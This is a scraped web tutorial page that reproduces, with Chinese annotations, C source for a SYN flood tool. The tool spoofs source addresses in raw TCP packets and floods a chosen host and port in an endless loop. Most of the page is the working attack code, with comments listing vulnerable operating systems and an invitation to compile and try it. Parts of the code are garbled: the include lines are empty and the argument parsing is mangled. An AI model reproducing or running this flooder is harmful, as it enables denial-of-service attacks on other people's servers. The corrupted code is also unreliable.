Code analysis of a SYN attack--Used Gcc/RedHat Linux 9.0 compilation_PHP tutorial

This is an era of LINUX/UNIX, and you are still trying to understand a little bit of Java development. This is a source program for a SYN attack: Everyone, try reading it and see if you can understand it. If you don’t understand, it’s okay. Leave me a message E-MAIL: QIYU155·126. com. I added Chinese comments!
This is the source program of a SYN attack: Try reading it and see if you can understand it. If you don’t understand, you can leave me a message. I added Chinese comments./*　Syn　Attack　against　a　port　for　Solaris　*/ /*　Original　land　attack,　land.c　by　m3lt,　FLC　*/ /*　Ported　to　44BSD　by　blast　and　jerm　*/ /*　Ported　to　Solaris　by　ziro　antagonist　*/ /*　Referenced　flood.c　by　unknown　author　*/ /*　Converted　into　a　syn　attack　against　one　port　by　CRG　*/ /*　Please　use　this　for　educational　purposes　only　*/ /*　Compiles　on　Solaris　gcc　-o　synsol　synsol.c　-lsocket　-lnsl　*/ /*　Additional　notes:　*/ /*　Successfully　compiled　on　Solaris　2.51　and　2.6　*/ /*　Runs:　synsol　　　　*/ /*　*/ /*　Tested　it　on:　Solaris　2.6　*/ /*　*/ /*　Attacked　against:　*/ /*　Linux　2.0.33　-　vulnerable　*/ /*　Linux　2.0.30　-　vulnerable　*/ /*　Linux　1.2.13　-　vulnerable　*/ /*　Solaris　2.4　-　vulnerable　*/ /*　Solaris　2.5.1　-　vulnerable　*/ /*　SunOS　4.1.3_U3　-　vulnerable　*/ /*　Solaris　2.6　-　not　vulnerable　*/ /*　*/ /*　Most　of　these　test　machines　are　not　patched　because　they　*/ /*　are　in　test　lab.　I　tested　the　program　against　port　23　and　*/ /*　every　once　in　awhile　I　did　get　through.　*/ /*　*/ /*　Direct　any　comments,　questions,　improvements　to　*/ /*　packetstorm@genocide2600.com　*/ /*　http://www.genocide2600.com/~tattooman/　*/ /*　Your　emails　will　be　forwarded　to　the　author,　who　wishes　*/ /*　to　remain　known　only　as　CRG　(no　email　addy　or　URL)　*/ /*jjgirl:上面的注释的不用说了！*/ #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 #include　 /*jjgirl:上面是头文件！*/ 　 unsigned　long　srcport; 　 struct　pseudohdr { struct　in_addr　saddr; struct　in_addr　daddr; u_char　zero; u_char　protocol; u_short　length; struct　tcphdr　tcpheader; }; /*jjgirl:定义一个伪装地址的结构！*/ 　 u_short　checksum(u_short　*　data,u_short　length) { int　nleft　=　length; int　sum=0; unsigned　short　*w　=　data; unsigned　short　value　=　0; 　 while　(nleft　>　1)　{ sum　+=　*w++; nleft　-=　2; } 　 if　(nleft　==　1)　{ *(unsigned　char　*)　(&value)　=　*(unsigned　char　*)　w; sum　+=　value; } sum　=　(sum　>>16)　+　(sum　&　0xffff); sum　+=　(sum　>>　16); value　=　~sum; return(value); } /*jjgirl:上面校验文件！包头是需要校验的，CRC校验！*/ 　 　 int　main(int　argc,char　*　*　argv) {/*jjgirl:主程序开始了！*/ struct　sockaddr_in　sin; struct　sockaddr_in　din; struct　hostent　*　hoste; struct　hostent　*　host1; int　j,sock,foo,　flooddot=1; char　buffer[40]; struct　ip　*　ipheader=(struct　ip　*)　buffer; struct　tcphdr　*　tcpheader=(struct　tcphdr　*)　(buffer+sizeof(struct　ip)); struct　pseudohdr　pseudoheader; /*jjgirl:上面定义变量！*/ 　 fprintf(stderr,"Syn　attack　against　one　port.(Infinite) "); 　 if(argch_addr,&din.sin_addr,host1->h_length); else　if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown　source　host　%s ",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else　if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown　destination　host　%s ",argv[1]); return(-1); } 　 if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown　port　%s ",argv[2]); return(-1); } /*jjgirl:上面是给sockaddr_in结构赋值，需要指明协议，端口号！*/ 　 　 　 if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldnt　allocate　raw　socket "); return(-1); } /*jjgirl:上面开始Socket了！*/ 　 foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char　*)&foo,sizeof(int))==-1) { fprintf(stderr,"couldnt　set　raw　header　on　socket "); return(-1); } /*jjgirl:上面是为了重构报头！*/ 　 for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct　ip)+sizeof(struct　tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct　ip)/4; ipheader->ip_len=sizeof(struct　ip)+sizeof(struct　tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30;　/*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr; 　 tcpheader->th_sport=htons(srcport);　/*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct　tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0; 　 bzero(&pseudoheader,12+sizeof(struct　tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct　tcphdr)); bcopy((char　*)　tcpheader,(char　*)　&pseudoheader.tcpheader,sizeof(struct　tcphdr)); tcpheader->th_sum=checksum((u_short　*)　&pseudoheader,12+sizeof(struct　tcphdr)); /*jjgirl:上面是重构报头！*/ 　 srcport=　(10000.0*random()/(15000+1.0)); /*jjgirl:端口当然要变！*/ 　 if(sendto(sock,buffer,sizeof(struct　ip)+sizeof(struct　tcphdr),0,(struct　sockaddr　*)　&sin,sizeof(struct　sockaddr_in))==-1) /*jjgirl:攻击开始！*/ { fprintf(stderr,"couldnt　send　packet,%d ",errno); return(-1); } usleep(2); if　(!(flooddot　=　(flooddot+1)%(1))) 　 /*jjgirl:显示次数！　Jjgirl　把上面一句,改为如下两句,增加显示效果,随你的便！ int　k=j;　if((k%10)==0)　printf(" ");　*/ 　 }　/*The　end　of　the　infinite　loop*/ close(sock); return(0); } /*jjgirl:结束！编译试试吧！如果有看不懂可以给我留言,或E-MAIL:qiyu155@126.com！*/

http://www.bkjia.com/PHPjc/531903.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/531903.htmlTechArticle这是一个LINUX/UNIX的时代，你还在为自己懂一点点的 Java development..这是一个SYN攻击的源程序： 大家试着读一读，看是否能读懂，不懂可以给...